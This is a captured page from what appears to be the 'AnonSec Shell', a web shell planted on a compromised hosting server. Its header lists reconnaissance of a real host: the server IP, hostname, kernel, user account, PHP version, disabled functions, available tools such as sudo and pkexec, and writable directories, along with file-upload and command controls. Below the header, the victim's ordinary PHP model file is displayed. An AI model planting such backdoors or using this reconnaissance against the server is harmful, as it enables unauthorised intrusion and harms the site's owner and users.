AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_arbo/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/imobles/application/plugins/module_arbo/models/AbstractModel.php
<?php

require_once __DIR__ . '/../../../autoload/My_Model.php';

abstract class AbstractModel extends My_Model
{

	/**
	 * @param array $where
	 * @param string $orderBy
	 * @param string $order
	 * @param bool $byDeletedNull
	 * @param string $returnType
	 * @return array|IdiormResultSet
	 */
	public function all($where = array(), $orderBy = 'id', $order = 'asc', $byDeletedNull = false, $returnType = 'object')
	{
		$orm = ORM::for_table($this->table);

		if($order == 'asc') {
			$orm->order_by_asc($orderBy);
		}

		if($order == 'desc') {
			$orm->order_by_desc($orderBy);
		}

		if ($byDeletedNull) {
			$orm->where_null('deleted_at');
		}

		if(is_array($where) && (count($where) > 0)) {
			foreach($where as $field => $value) {
				$orm->where("{$field}", "{$value}");
			}
		}

		if($returnType == 'object')
			return $orm->find_many();
		else if($returnType == 'array')
			return $orm->find_array();
	}
}

Anon7 - 2022
AnonSec Team